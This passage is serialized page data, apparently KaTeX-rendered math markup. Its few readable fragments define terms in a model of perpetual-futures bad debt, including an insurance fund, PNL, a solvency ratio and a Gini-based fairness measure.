ops":163596,"children":163597},{"style":163250},[163598,163602],{"type":21,"tag":85,"props":163599,"children":163601},{"className":163600,"style":163255},[4817],[],{"type":21,"tag":85,"props":163603,"children":163605},{"className":163604},[4823,4824,4825,4826],[163606],{"type":21,"tag":85,"props":163607,"children":163609},{"className":163608},[4776,22016,4826],[163610],{"type":26,"value":3003},{"type":21,"tag":85,"props":163612,"children":163613},{"style":163268},[163614,163618],{"type":21,"tag":85,"props":163615,"children":163617},{"className":163616,"style":163255},[4817],[],{"type":21,"tag":85,"props":163619,"children":163620},{},[163621],{"type":21,"tag":85,"props":163622,"children":163624},{"className":163623},[22052,22057,163280],[163625],{"type":26,"value":109304},{"type":21,"tag":85,"props":163627,"children":163629},{"className":163628},[22173],[163630],{"type":26,"value":22176},{"type":21,"tag":85,"props":163632,"children":163634},{"className":163633},[4803],[163635],{"type":21,"tag":85,"props":163636,"children":163638},{"className":163637,"style":163295},[4808],[163639],{"type":21,"tag":85,"props":163640,"children":163641},{},[],{"type":21,"tag":85,"props":163643,"children":163645},{"className":163644,"style":4896},[4857],[],{"type":21,"tag":85,"props":163647,"children":163649},{"className":163648},[4776],[163650,163655],{"type":21,"tag":85,"props":163651,"children":163653},{"className":163652,"style":122789},[4776,22016],[163654],{"type":26,"value":50027},{"type":21,"tag":85,"props":163656,"children":163658},{"className":163657},[4793],[163659],{"type":21,"tag":85,"props":163660,"children":163662},{"className":163661},[4798,22070],[163663,163692],{"type":21,"tag":85,"props":163664,"children":163666},{"className":163665},[4803],[163667,163687],{"type":21,"tag":85,"props":163668,"children":163670},{"className":163669,"style":94038},[4808],[163671],{"type":21,"tag":85,"props":163672,"children":163673},{"style":161737},[163674,163678],{"type":21,"tag":85,"props":163675,"children":163677},{"className":163676,"style":4818},[4817],[],{"type":21,"tag":85,"props":163679,"children":163681},{"className":163680},[4823,4824,4825,4826],[163682],{"type":21,"tag":85,"props":163683,"children":163685},{"className":163684},[4776,22016,4826],[163686],{"type":26,"value":3003},{"type":21,"tag":85,"props":163688,"children":163690},{"className":163689},[22173],[163691],{"type":26,"value":22176},{"type":21,"tag":85,"props":163693,"children":163695},{"className":163694},[4803],[163696],{"type":21,"tag":85,"props":163697,"children":163699},{"className":163698,"style":93592},[4808],[163700],{"type":21,"tag":85,"props":163701,"children":163702},{},[],{"type":21,"tag":85,"props":163704,"children":163705},{"style":162118},[163706,163710],{"type":21,"tag":85,"props":163707,"children":163709},{"className":163708,"style":161409},[4817],[],{"type":21,"tag":85,"props":163711,"children":163713},{"className":163712},[4776],[163714,163718,163722,163727,163731,163736,163741,163798,163802,163807,163811,163816,163820,163825,163829,163886,163891,163895,163899,163904],{"type":21,"tag":85,"props":163715,"children":163717},{"className":163716},[4776],[],{"type":21,"tag":85,"props":163719,"children":163721},{"className":163720,"style":4955},[4857],[],{"type":21,"tag":85,"props":163723,"children":163725},{"className":163724},[4960],[163726],{"type":26,"value":741},{"type":21,"tag":85,"props":163728,"children":163730},{"className":163729,"style":4955},[4857],[],{"type":21,"tag":85,"props":163732,"children":163734},{"className":163733},[22052],[163735],{"type":26,"value":161123},{"type":21,"tag":85,"props":163737,"children":163739},{"className":163738},[22145],[163740],{"type":26,"value":1439},{"type":21,"tag":85,"props":163742,"children":163744},{"className":163743},[4776],[163745,163750],{"type":21,"tag":85,"props":163746,"children":163748},{"className":163747,"style":93509},[4776,22016],[163749],{"type":26,"value":161996},{"type":21,"tag":85,"props":163751,"children":163753},{"className":163752},[4793],[163754],{"type":21,"tag":85,"props":163755,"children":163757},{"className":163756},[4798,22070],[163758,163787],{"type":21,"tag":85,"props":163759,"children":163761},{"className":163760},[4803],[163762,163782],{"type":21,"tag":85,"props":163763,"children":163765},{"className":163764,"style":143064},[4808],[163766],{"type":21,"tag":85,"props":163767,"children":163768},{"style":110508},[163769,163773],{"type":21,"tag":85,"props":163770,"children":163772},{"className":163771,"style":4818},[4817],[],{"type":21,"tag":85,"props":163774,"children":163776},{"className":163775},[4823,4824,4825,4826],[163777],{"type":21,"tag":85,"props":163778,"children":163780},{"className":163779,"style":22017},[4776,22016,4826],[163781],{"type":26,"value":308},{"type":21,"tag":85,"props":163783,"children":163785},{"className":163784},[22173],[163786],{"type":26,"value":22176},{"type":21,"tag":85,"props":163788,"children":163790},{"className":163789},[4803],[163791],{"type":21,"tag":85,"props":163792,"children":163794},{"className":163793,"style":93592},[4808],[163795],{"type":21,"tag":85,"props":163796,"children":163797},{},[],{"type":21,"tag":85,"props":163799,"children":163801},{"className":163800,"style":4858},[4857],[],{"type":21,"tag":85,"props":163803,"children":163805},{"className":163804},[4863],[163806],{"type":26,"value":4837},{"type":21,"tag":85,"props":163808,"children":163810},{"className":163809,"style":4858},[4857],[],{"type":21,"tag":85,"props":163812,"children":163814},{"className":163813,"style":95529},[4776,22016],[163815],{"type":26,"value":95563},{"type":21,"tag":85,"props":163817,"children":163819},{"className":163818,"style":4858},[4857],[],{"type":21,"tag":85,"props":163821,"children":163823},{"className":163822},[4863],[163824],{"type":26,"value":4837},{"type":21,"tag":85,"props":163826,"children":163828},{"className":163827,"style":4858},[4857],[],{"type":21,"tag":85,"props":163830,"children":163832},{"className":163831},[4776],[163833,163838],{"type":21,"tag":85,"props":163834,"children":163836},{"className":163835,"style":93743},[4776,22016],[163837],{"type":26,"value":93746},{"type":21,"tag":85,"props":163839,"children":163841},{"className":163840},[4793],[163842],{"type":21,"tag":85,"props":163843,"children":163845},{"className":163844},[4798,22070],[163846,163875],{"type":21,"tag":85,"props":163847,"children":163849},{"className":163848},[4803],[163850,163870],{"type":21,"tag":85,"props":163851,"children":163853},{"className":163852,"style":143064},[4808],[163854],{"type":21,"tag":85,"props":163855,"children":163856},{"style":110938},[163857,163861],{"type":21,"tag":85,"props":163858,"children":163860},{"className":163859,"style":4818},[4817],[],{"type":21,"tag":85,"props":163862,"children":163864},{"className":163863},[4823,4824,4825,4826],[163865],{"type":21,"tag":85,"props":163866,"children":163868},{"className":163867,"style":22017},[4776,22016,4826],[163869],{"type":26,"value":308},{"type":21,"tag":85,"props":163871,"children":163873},{"className":163872},[22173],[163874],{"type":26,"value":22176},{"type":21,"tag":85,"props":163876,"children":163878},{"className":163877},[4803],[163879],{"type":21,"tag":85,"props":163880,"children":163882},{"className":163881,"style":93592},[4808],[163883],{"type":21,"tag":85,"props":163884,"children":163885},{},[],{"type":21,"tag":85,"props":163887,"children":163889},{"className":163888},[4889],[163890],{"type":26,"value":4892},{"type":21,"tag":85,"props":163892,"children":163894},{"className":163893,"style":4896},[4857],[],{"type":21,"tag":85,"props":163896,"children":163898},{"className":163897,"style":4896},[4857],[],{"type":21,"tag":85,"props":163900,"children":163902},{"className":163901},[4776],[163903],{"type":26,"value":4789},{"type":21,"tag":85,"props":163905,"children":163907},{"className":163906},[22167],[163908],{"type":26,"value":1900},{"type":21,"tag":85,"props":163910,"children":163912},{"className":163911},[22173],[163913],{"type":26,"value":22176},{"type":21,"tag":85,"props":163915,"children":163917},{"className":163916},[4803],[163918],{"type":21,"tag":85,"props":163919,"children":163921},{"className":163920,"style":162199},[4808],[163922],{"type":21,"tag":85,"props":163923,"children":163924},{},[],{"type":21,"tag":22,"props":163926,"children":163927},{},[163928,163929,164006,164008,164033,164035,164112,164114,164191],{"type":26,"value":1439},{"type":21,"tag":66,"props":163930,"children":163932},{"className":163931},[4748,4749],[163933],{"type":21,"tag":85,"props":163934,"children":163936},{"className":163935},[4754],[163937],{"type":21,"tag":85,"props":163938,"children":163940},{"className":163939,"ariaHidden":4760},[4759],[163941],{"type":21,"tag":85,"props":163942,"children":163944},{"className":163943},[4765],[163945,163949],{"type":21,"tag":85,"props":163946,"children":163948},{"className":163947,"style":111506},[4770],[],{"type":21,"tag":85,"props":163950,"children":163952},{"className":163951},[4776],[163953,163958],{"type":21,"tag":85,"props":163954,"children":163956},{"className":163955,"style":22017},[4776,22016],[163957],{"type":26,"value":22020},{"type":21,"tag":85,"props":163959,"children":163961},{"className":163960},[4793],[163962],{"type":21,"tag":85,"props":163963,"children":163965},{"className":163964},[4798,22070],[163966,163995],{"type":21,"tag":85,"props":163967,"children":163969},{"className":163968},[4803],[163970,163990],{"type":21,"tag":85,"props":163971,"children":163973},{"className":163972,"style":109941},[4808],[163974],{"type":21,"tag":85,"props":163975,"children":163976},{"style":161442},[163977,163981],{"type":21,"tag":85,"props":163978,"children":163980},{"className":163979,"style":4818},[4817],[],{"type":21,"tag":85,"props":163982,"children":163984},{"className":163983},[4823,4824,4825,4826],[163985],{"type":21,"tag":85,"props":163986,"children":163988},{"className":163987},[4776,22016,4826],[163989],{"type":26,"value":56860},{"type":21,"tag":85,"props":163991,"children":163993},{"className":163992},[22173],[163994],{"type":26,"value":22176},{"type":21,"tag":85,"props":163996,"children":163998},{"className":163997},[4803],[163999],{"type":21,"tag":85,"props":164000,"children":164002},{"className":164001,"style":93592},[4808],[164003],{"type":21,"tag":85,"props":164004,"children":164005},{},[],{"type":26,"value":164007},": mark price from different sources; ",{"type":21,"tag":66,"props":164009,"children":164011},{"className":164010},[4748,4749],[164012],{"type":21,"tag":85,"props":164013,"children":164015},{"className":164014},[4754],[164016],{"type":21,"tag":85,"props":164017,"children":164019},{"className":164018,"ariaHidden":4760},[4759],[164020],{"type":21,"tag":85,"props":164021,"children":164023},{"className":164022},[4765],[164024,164028],{"type":21,"tag":85,"props":164025,"children":164027},{"className":164026,"style":22011},[4770],[],{"type":21,"tag":85,"props":164029,"children":164031},{"className":164030,"style":95529},[4776,22016],[164032],{"type":26,"value":95563},{"type":26,"value":164034},": insurance fund, roughly the 5M on testnet HL; ",{"type":21,"tag":66,"props":164036,"children":164038},{"className":164037},[4748,4749],[164039],{"type":21,"tag":85,"props":164040,"children":164042},{"className":164041},[4754],[164043],{"type":21,"tag":85,"props":164044,"children":164046},{"className":164045,"ariaHidden":4760},[4759],[164047],{"type":21,"tag":85,"props":164048,"children":164050},{"className":164049},[4765],[164051,164055],{"type":21,"tag":85,"props":164052,"children":164054},{"className":164053,"style":110479},[4770],[],{"type":21,"tag":85,"props":164056,"children":164058},{"className":164057},[4776],[164059,164064],{"type":21,"tag":85,"props":164060,"children":164062},{"className":164061,"style":93995},[4776,22016],[164063],{"type":26,"value":161580},{"type":21,"tag":85,"props":164065,"children":164067},{"className":164066},[4793],[164068],{"type":21,"tag":85,"props":164069,"children":164071},{"className":164070},[4798,22070],[164072,164101],{"type":21,"tag":85,"props":164073,"children":164075},{"className":164074},[4803],[164076,164096],{"type":21,"tag":85,"props":164077,"children":164079},{"className":164078,"style":94038},[4808],[164080],{"type":21,"tag":85,"props":164081,"children":164082},{"style":94042},[164083,164087],{"type":21,"tag":85,"props":164084,"children":164086},{"className":164085,"style":4818},[4817],[],{"type":21,"tag":85,"props":164088,"children":164090},{"className":164089},[4823,4824,4825,4826],[164091],{"type":21,"tag":85,"props":164092,"children":164094},{"className":164093},[4776,22016,4826],[164095],{"type":26,"value":3003},{"type":21,"tag":85,"props":164097,"children":164099},{"className":164098},[22173],[164100],{"type":26,"value":22176},{"type":21,"tag":85,"props":164102,"children":164104},{"className":164103},[4803],[164105],{"type":21,"tag":85,"props":164106,"children":164108},{"className":164107,"style":93592},[4808],[164109],{"type":21,"tag":85,"props":164110,"children":164111},{},[],{"type":26,"value":164113}," is PNL for longs, negated for shorts; ",{"type":21,"tag":66,"props":164115,"children":164117},{"className":164116},[4748,4749],[164118],{"type":21,"tag":85,"props":164119,"children":164121},{"className":164120},[4754],[164122],{"type":21,"tag":85,"props":164123,"children":164125},{"className":164124,"ariaHidden":4760},[4759],[164126],{"type":21,"tag":85,"props":164127,"children":164129},{"className":164128},[4765],[164130,164134],{"type":21,"tag":85,"props":164131,"children":164133},{"className":164132,"style":110479},[4770],[],{"type":21,"tag":85,"props":164135,"children":164137},{"className":164136},[4776],[164138,164143],{"type":21,"tag":85,"props":164139,"children":164141},{"className":164140,"style":122789},[4776,22016],[164142],{"type":26,"value":50027},{"type":21,"tag":85,"props":164144,"children":164146},{"className":164145},[4793],[164147],{"type":21,"tag":85,"props":164148,"children":164150},{"className":164149},[4798,22070],[164151,164180],{"type":21,"tag":85,"props":164152,"children":164154},{"className":164153},[4803],[164155,164175],{"type":21,"tag":85,"props":164156,"children":164158},{"className":164157,"style":94038},[4808],[164159],{"type":21,"tag":85,"props":164160,"children":164161},{"style":161737},[164162,164166],{"type":21,"tag":85,"props":164163,"children":164165},{"className":164164,"style":4818},[4817],[],{"type":21,"tag":85,"props":164167,"children":164169},{"className":164168},[4823,4824,4825,4826],[164170],{"type":21,"tag":85,"props":164171,"children":164173},{"className":164172},[4776,22016,4826],[164174],{"type":26,"value":3003},{"type":21,"tag":85,"props":164176,"children":164178},{"className":164177},[22173],[164179],{"type":26,"value":22176},{"type":21,"tag":85,"props":164181,"children":164183},{"className":164182},[4803],[164184],{"type":21,"tag":85,"props":164185,"children":164187},{"className":164186,"style":93592},[4808],[164188],{"type":21,"tag":85,"props":164189,"children":164190},{},[],{"type":26,"value":164192}," is the positive part of PNL.)",{"type":21,"tag":22,"props":164194,"children":164195},{},[164196],{"type":26,"value":164197},"And let's make the trilemma definitions concrete:",{"type":21,"tag":17108,"props":164199,"children":164200},{},[164201,164675,165239],{"type":21,"tag":845,"props":164202,"children":164203},{},[164204,164208,164209,164463,164465,164516,164518,164621,164622,164673],{"type":21,"tag":39,"props":164205,"children":164206},{},[164207],{"type":26,"value":161321},{"type":26,"value":33357},{"type":21,"tag":66,"props":164210,"children":164212},{"className":164211},[4748,4749],[164213],{"type":21,"tag":85,"props":164214,"children":164216},{"className":164215},[4754],[164217],{"type":21,"tag":85,"props":164218,"children":164220},{"className":164219,"ariaHidden":4760},[4759],[164221,164248],{"type":21,"tag":85,"props":164222,"children":164224},{"className":164223},[4765],[164225,164230,164235,164239,164244],{"type":21,"tag":85,"props":164226,"children":164229},{"className":164227,"style":164228},[4770],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":21,"tag":85,"props":164231,"children":164233},{"className":164232},[4776],[164234],{"type":26,"value":4779},{"type":21,"tag":85,"props":164236,"children":164238},{"className":164237,"style":4858},[4857],[],{"type":21,"tag":85,"props":164240,"children":164242},{"className":164241},[4863],[164243],{"type":26,"value":4837},{"type":21,"tag":85,"props":164245,"children":164247},{"className":164246,"style":4858},[4857],[],{"type":21,"tag":85,"props":164249,"children":164251},{"className":164250},[4765],[164252,164257],{"type":21,"tag":85,"props":164253,"children":164256},{"className":164254,"style":164255},[4770],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":21,"tag":85,"props":164258,"children":164260},{"className":164259},[4776],[164261,164265,164459],{"type":21,"tag":85,"props":164262,"children":164264},{"className":164263},[22145,114027],[],{"type":21,"tag":85,"props":164266,"children":164268},{"className":164267},[114032],[164269],{"type":21,"tag":85,"props":164270,"children":164272},{"className":164271},[4798,22070],[164273,164447],{"type":21,"tag":85,"props":164274,"children":164276},{"className":164275},[4803],[164277,164442],{"type":21,"tag":85,"props":164278,"children":164281},{"className":164279,"style":164280},[4808],"height:0.8884em;",[164282,164356,164367],{"type":21,"tag":85,"props":164283,"children":164284},{"style":114049},[164285,164289],{"type":21,"tag":85,"props":164286,"children":164288},{"className":164287,"style":112680},[4817],[],{"type":21,"tag":85,"props":164290,"children":164292},{"className":164291},[4823,4824,4825,4826],[164293],{"type":21,"tag":85,"props":164294,"children":164296},{"className":164295},[4776,4826],[164297],{"type":21,"tag":85,"props":164298,"children":164300},{"className":164299},[4776,4826],[164301,164306],{"type":21,"tag":85,"props":164302,"children":164304},{"className":164303,"style":93509},[4776,22016,4826],[164305],{"type":26,"value":161996},{"type":21,"tag":85,"props":164307,"children":164309},{"className":164308},[4793],[164310],{"type":21,"tag":85,"props":164311,"children":164313},{"className":164312},[4798,22070],[164314,164344],{"type":21,"tag":85,"props":164315,"children":164317},{"className":164316},[4803],[164318,164339],{"type":21,"tag":85,"props":164319,"children":164321},{"className":164320,"style":112841},[4808],[164322],{"type":21,"tag":85,"props":164323,"children":164325},{"style":164324},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[164326,164330],{"type":21,"tag":85,"props":164327,"children":164329},{"className":164328,"style":109369},[4817],[],{"type":21,"tag":85,"props":164331,"children":164333},{"className":164332},[4823,109374,109375,4826],[164334],{"type":21,"tag":85,"props":164335,"children":164337},{"className":164336,"style":22017},[4776,22016,4826],[164338],{"type":26,"value":308},{"type":21,"tag":85,"props":164340,"children":164342},{"className":164341},[22173],[164343],{"type":26,"value":22176},{"type":21,"tag":85,"props":164345,"children":164347},{"className":164346},[4803],[164348],{"type":21,"tag":85,"props":164349,"children":164352},{"className":164350,"style":164351},[4808],"height:0.1433em;",[164353],{"type":21,"tag":85,"props":164354,"children":164355},{},[],{"type":21,"tag":85,"props":164357,"children":164358},{"style":114082},[164359,164363],{"type":21,"tag":85,"props":164360,"children":164362},{"className":164361,"style":112680},[4817],[],{"type":21,"tag":85,"props":164364,"children":164366},{"className":164365,"style":114092},[114091],[],{"type":21,"tag":85,"props":164368,"children":164370},{"style":164369},"top:-3.4101em;",[164371,164375],{"type":21,"tag":85,"props":164372,"children":164374},{"className":164373,"style":112680},[4817],[],{"type":21,"tag":85,"props":164376,"children":164378},{"className":164377},[4823,4824,4825,4826],[164379],{"type":21,"tag":85,"props":164380,"children":164382},{"className":164381},[4776,4826],[164383],{"type":21,"tag":85,"props":164384,"children":164386},{"className":164385},[4776,4826],[164387,164392],{"type":21,"tag":85,"props":164388,"children":164390},{"className":164389,"style":123286},[4776,22016,4826],[164391],{"type":26,"value":123289},{"type":21,"tag":85,"props":164393,"children":164395},{"className":164394},[4793],[164396],{"type":21,"tag":85,"props":164397,"children":164399},{"className":164398},[4798,22070],[164400,164431],{"type":21,"tag":85,"props":164401,"children":164403},{"className":164402},[4803],[164404,164426],{"type":21,"tag":85,"props":164405,"children":164408},{"className":164406,"style":164407},[4808],"height:0.2963em;",[164409],{"type":21,"tag":85,"props":164410,"children":164412},{"style":164411},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[164413,164417],{"type":21,"tag":85,"props":164414,"children":164416},{"className":164415,"style":109369},[4817],[],{"type":21,"tag":85,"props":164418,"children":164420},{"className":164419},[4823,109374,109375,4826],[164421],{"type":21,"tag":85,"props":164422,"children":164424},{"className":164423},[4776,22016,4826],[164425],{"type":26,"value":22158},{"type":21,"tag":85,"props":164427,"children":164429},{"className":164428},[22173],[164430],{"type":26,"value":22176},{"type":21,"tag":85,"props":164432,"children":164434},{"className":164433},[4803],[164435],{"type":21,"tag":85,"props":164436,"children":164438},{"className":164437,"style":109394},[4808],[164439],{"type":21,"tag":85,"props":164440,"children":164441},{},[],{"type":21,"tag":85,"props":164443,"children":164445},{"className":164444},[22173],[164446],{"type":26,"value":22176},{"type":21,"tag":85,"props":164448,"children":164450},{"className":164449},[4803],[164451],{"type":21,"tag":85,"props":164452,"children":164455},{"className":164453,"style":164454},[4808],"height:0.4453em;",[164456],{"type":21,"tag":85,"props":164457,"children":164458},{},[],{"type":21,"tag":85,"props":164460,"children":164462},{"className":164461},[22167,114027],[],{"type":26,"value":164464}," — how much of the total bad debt was actually covered. ",{"type":21,"tag":66,"props":164466,"children":164468},{"className":164467},[4748,4749],[164469],{"type":21,"tag":85,"props":164470,"children":164472},{"className":164471},[4754],[164473],{"type":21,"tag":85,"props":164474,"children":164476},{"className":164475,"ariaHidden":4760},[4759],[164477,164503],{"type":21,"tag":85,"props":164478,"children":164480},{"className":164479},[4765],[164481,164485,164490,164494,164499],{"type":21,"tag":85,"props":164482,"children":164484},{"className":164483,"style":22011},[4770],[],{"type":21,"tag":85,"props":164486,"children":164488},{"className":164487,"style":22475},[4776,22016],[164489],{"type":26,"value":22478},{"type":21,"tag":85,"props":164491,"children":164493},{"className":164492,"style":4955},[4857],[],{"type":21,"tag":85,"props":164495,"children":164497},{"className":164496},[4960],[164498],{"type":26,"value":741},{"type":21,"tag":85,"props":164500,"children":164502},{"className":164501,"style":4955},[4857],[],{"type":21,"tag":85,"props":164504,"children":164506},{"className":164505},[4765],[164507,164511],{"type":21,"tag":85,"props":164508,"children":164510},{"className":164509,"style":94540},[4770],[],{"type":21,"tag":85,"props":164512,"children":164514},{"className":164513},[4776],[164515],{"type":26,"value":4779},{"type":26,"value":164517}," means fully solvent (",{"type":21,"tag":66,"props":164519,"children":164521},{"className":164520},[4748,4749],[164522],{"type":21,"tag":85,"props":164523,"children":164525},{"className":164524},[4754],[164526],{"type":21,"tag":85,"props":164527,"children":164529},{"className":164528,"ariaHidden":4760},[4759],[164530,164608],{"type":21,"tag":85,"props":164531,"children":164533},{"className":164532},[4765],[164534,164538,164595,164599,164604],{"type":21,"tag":85,"props":164535,"children":164537},{"className":164536,"style":111506},[4770],[],{"type":21,"tag":85,"props":164539,"children":164541},{"className":164540},[4776],[164542,164547],{"type":21,"tag":85,"props":164543,"children":164545},{"className":164544,"style":123286},[4776,22016],[164546],{"type":26,"value":123289},{"type":21,"tag":85,"props":164548,"children":164550},{"className":164549},[4793],[164551],{"type":21,"tag":85,"props":164552,"children":164554},{"className":164553},[4798,22070],[164555,164584],{"type":21,"tag":85,"props":164556,"children":164558},{"className":164557},[4803],[164559,164579],{"type":21,"tag":85,"props":164560,"children":164562},{"className":164561,"style":162152},[4808],[164563],{"type":21,"tag":85,"props":164564,"children":164565},{"style":162156},[164566,164570],{"type":21,"tag":85,"props":164567,"children":164569},{"className":164568,"style":4818},[4817],[],{"type":21,"tag":85,"props":164571,"children":164573},{"className":164572},[4823,4824,4825,4826],[164574],{"type":21,"tag":85,"props":164575,"children":164577},{"className":164576},[4776,22016,4826],[164578],{"type":26,"value":22158},{"type":21,"tag":85,"props":164580,"children":164582},{"className":164581},[22173],[164583],{"type":26,"value":22176},{"type":21,"tag":85,"props":164585,"children":164587},{"className":164586},[4803],[164588],{"type":21,"tag":85,"props":164589,"children":164591},{"className":164590,"style":93592},[4808],[164592],{"type":21,"tag":85,"props":164593,"children":164594},{},[],{"type":21,"tag":85,"props":164596,"children":164598},{"className":164597,"style":4955},[4857],[],{"type":21,"tag":85,"props":164600,"children":164602},{"className":164601},[4960],[164603],{"type":26,"value":741},{"type":21,"tag":85,"props":164605,"children":164607},{"className":164606,"style":4955},[4857],[],{"type":21,"tag":85,"props":164609,"children":164611},{"className":164610},[4765],[164612,164616],{"type":21,"tag":85,"props":164613,"children":164615},{"className":164614,"style":94540},[4770],[],{"type":21,"tag":85,"props":164617,"children":164619},{"className":164618},[4776],[164620],{"type":26,"value":4789},{"type":26,"value":15596},{"type":21,"tag":66,"props":164623,"children":164625},{"className":164624},[4748,4749],[164626],{"type":21,"tag":85,"props":164627,"children":164629},{"className":164628},[4754],[164630],{"type":21,"tag":85,"props":164631,"children":164633},{"className":164632,"ariaHidden":4760},[4759],[164634,164660],{"type":21,"tag":85,"props":164635,"children":164637},{"className":164636},[4765],[164638,164642,164647,164651,164656],{"type":21,"tag":85,"props":164639,"children":164641},{"className":164640,"style":22011},[4770],[],{"type":21,"tag":85,"props":164643,"children":164645},{"className":164644,"style":22475},[4776,22016],[164646],{"type":26,"value":22478},{"type":21,"tag":85,"props":164648,"children":164650},{"className":164649,"style":4955},[4857],[],{"type":21,"tag":85,"props":164652,"children":164654},{"className":164653},[4960],[164655],{"type":26,"value":741},{"type":21,"tag":85,"props":164657,"children":164659},{"className":164658,"style":4955},[4857],[],{"type":21,"tag":85,"props":164661,"children":164663},{"className":164662},[4765],[164664,164668],{"type":21,"tag":85,"props":164665,"children":164667},{"className":164666,"style":94540},[4770],[],{"type":21,"tag":85,"props":164669,"children":164671},{"className":164670},[4776],[164672],{"type":26,"value":4789},{"type":26,"value":164674}," means nothing was recovered.",{"type":21,"tag":845,"props":164676,"children":164677},{},[164678,164682,164683,164806,164807,165024,165026,165130,165132,165183,165185,165237],{"type":21,"tag":39,"props":164679,"children":164680},{},[164681],{"type":26,"value":161331},{"type":26,"value":33357},{"type":21,"tag":66,"props":164684,"children":164686},{"className":164685},[4748,4749],[164687],{"type":21,"tag":85,"props":164688,"children":164690},{"className":164689},[4754],[164691],{"type":21,"tag":85,"props":164692,"children":164694},{"className":164693,"ariaHidden":4760},[4759],[164695,164721],{"type":21,"tag":85,"props":164696,"children":164698},{"className":164697},[4765],[164699,164703,164708,164712,164717],{"type":21,"tag":85,"props":164700,"children":164702},{"className":164701,"style":164228},[4770],[],{"type":21,"tag":85,"props":164704,"children":164706},{"className":164705},[4776],[164707],{"type":26,"value":4779},{"type":21,"tag":85,"props":164709,"children":164711},{"className":164710,"style":4858},[4857],[],{"type":21,"tag":85,"props":164713,"children":164715},{"className":164714},[4863],[164716],{"type":26,"value":4837},{"type":21,"tag":85,"props":164718,"children":164720},{"className":164719,"style":4858},[4857],[],{"type":21,"tag":85,"props":164722,"children":164724},{"className":164723},[4765],[164725,164729,164739,164744,164801],{"type":21,"tag":85,"props":164726,"children":164728},{"className":164727,"style":4878},[4770],[],{"type":21,"tag":85,"props":164730,"children":164732},{"className":164731},[4776,26],[164733],{"type":21,"tag":85,"props":164734,"children":164736},{"className":164735},[4776],[164737],{"type":26,"value":164738},"Gini",{"type":21,"tag":85,"props":164740,"children":164742},{"className":164741},[22145],[164743],{"type":26,"value":1439},{"type":21,"tag":85,"props":164745,"children":164747},{"className":164746},[4776],[164748,164753],{"type":21,"tag":85,"props":164749,"children":164751},{"className":164750},[4776,22016],[164752],{"type":26,"value":84807},{"type":21,"tag":85,"props":164754,"children":164756},{"className":164755},[4793],[164757],{"type":21,"tag":85,"props":164758,"children":164760},{"className":164759},[4798,22070],[164761,164790],{"type":21,"tag":85,"props":164762,"children":164764},{"className":164763},[4803],[164765,164785],{"type":21,"tag":85,"props":164766,"children":164768},{"className":164767,"style":94038},[4808],[164769],{"type":21,"tag":85,"props":164770,"children":164771},{"style":93565},[164772,164776],{"type":21,"tag":85,"props":164773,"children":164775},{"className":164774,"style":4818},[4817],[],{"type":21,"tag":85,"props":164777,"children":164779},{"className":164778},[4823,4824,4825,4826],[164780],{"type":21,"tag":85,"props":164781,"children":164783},{"className":164782},[4776,22016,4826],[164784],{"type":26,"value":3003},{"type":21,"tag":85,"props":164786,"children":164788},{"className":164787},[22173],[164789],{"type":26,"value":22176},{"type":21,"tag":85,"props":164791,"children":164793},{"className":164792},[4803],[164794],{"type":21,"tag":85,"props":164795,"children":164797},{"className":164796,"style":93592},[4808],[164798],{"type":21,"tag":85,"props":164799,"children":164800},{},[],{"type":21,"tag":85,"props":164802,"children":164804},{"className":164803},[22167],[164805],{"type":26,"value":1900},{"type":26,"value":1668},{"type":21,"tag":66,"props":164808,"children":164810},{"className":164809},[4748,4749],[164811],{"type":21,"tag":85,"props":164812,"children":164814},{"className":164813},[4754],[164815],{"type":21,"tag":85,"props":164816,"children":164818},{"className":164817,"ariaHidden":4760},[4759],[164819,164897],{"type":21,"tag":85,"props":164820,"children":164822},{"className":164821},[4765],[164823,164827,164884,164888,164893],{"type":21,"tag":85,"props":164824,"children":164826},{"className":164825,"style":142788},[4770],[],{"type":21,"tag":85,"props":164828,"children":164830},{"className":164829},[4776],[164831,164836],{"type":21,"tag":85,"props":164832,"children":164834},{"className":164833},[4776,22016],[164835],{"type":26,"value":84807},{"type":21,"tag":85,"props":164837,"children":164839},{"className":164838},[4793],[164840],{"type":21,"tag":85,"props":164841,"children":164843},{"className":164842},[4798,22070],[164844,164873],{"type":21,"tag":85,"props":164845,"children":164847},{"className":164846},[4803],[164848,164868],{"type":21,"tag":85,"props":164849,"children":164851},{"className":164850,"style":94038},[4808],[164852],{"type":21,"tag":85,"props":164853,"children":164854},{"style":93565},[164855,164859],{"type":21,"tag":85,"props":164856,"children":164858},{"className":164857,"style":4818},[4817],[],{"type":21,"tag":85,"props":164860,"children":164862},{"className":164861},[4823,4824,4825,4826],[164863],{"type":21,"tag":85,"props":164864,"children":164866},{"className":164865},[4776,22016,4826],[164867],{"type":26,"value":3003},{"type":21,"tag":85,"props":164869,"children":164871},{"className":164870},[22173],[164872],{"type":26,"value":22176},{"type":21,"tag":85,"props":164874,"children":164876},{"className":164875},[4803],[164877],{"type":21,"tag":85,"props":164878,"children":164880},{"className":164879,"style":93592},[4808],[164881],{"type":21,"tag":85,"props":164882,"children":164883},{},[],{"type":21,"tag":85,"props":164885,"children":164887},{"className":164886,"style":4955},[4857],[],{"type":21,"tag":85,"props":164889,"children":164891},{"className":164890},[4960],[164892],{"type":26,"value":741},{"type":21,"tag":85,"props":164894,"children":164896},{"className":164895,"style":4955},[4857],[],{"type":21,"tag":85,"props":164898,"children":164900},{"className":164899},[4765],[164901,164905,164962,164967],{"type":21,"tag":85,"props":164902,"children":164904},{"className":164903,"style":4878},[4770],[],{"type":21,"tag":85,"props":164906,"children":164908},{"className":164907},[4776],[164909,164914],{"type":21,"tag":85,"props":164910,"children":164912},{"className":164911},[4776,22016],[164913],{"type":26,"value":19702},{"type":21,"tag":85,"props":164915,"children":164917},{"className":164916},[4793],[164918],{"type":21,"tag":85,"props":164919,"children":164921},{"className":164920},[4798,22070],[164922,164951],{"type":21,"tag":85,"props":164923,"children":164925},{"className":164924},[4803],[164926,164946],{"type":21,"tag":85,"props":164927,"children":164929},{"className":164928,"style":94038},[4808],[164930],{"type":21,"tag":85,"props":164931,"children":164932},{"style":93565},[164933,164937],{"type":21,"tag":85,"props":164934,"children":164936},{"className":164935,"style":4818},[4817],[],{"type":21,"tag":85,"props":164938,"children":164940},{"className":164939},[4823,4824,4825,4826],[164941],{"type":21,"tag":85,"props":164942,"children":164944},{"className":164943},[4776,22016,4826],[164945],{"type":26,"value":3003},{"type":21,"tag":85,"props":164947,"children":164949},{"className":164948},[22173],[164950],{"type":26,"va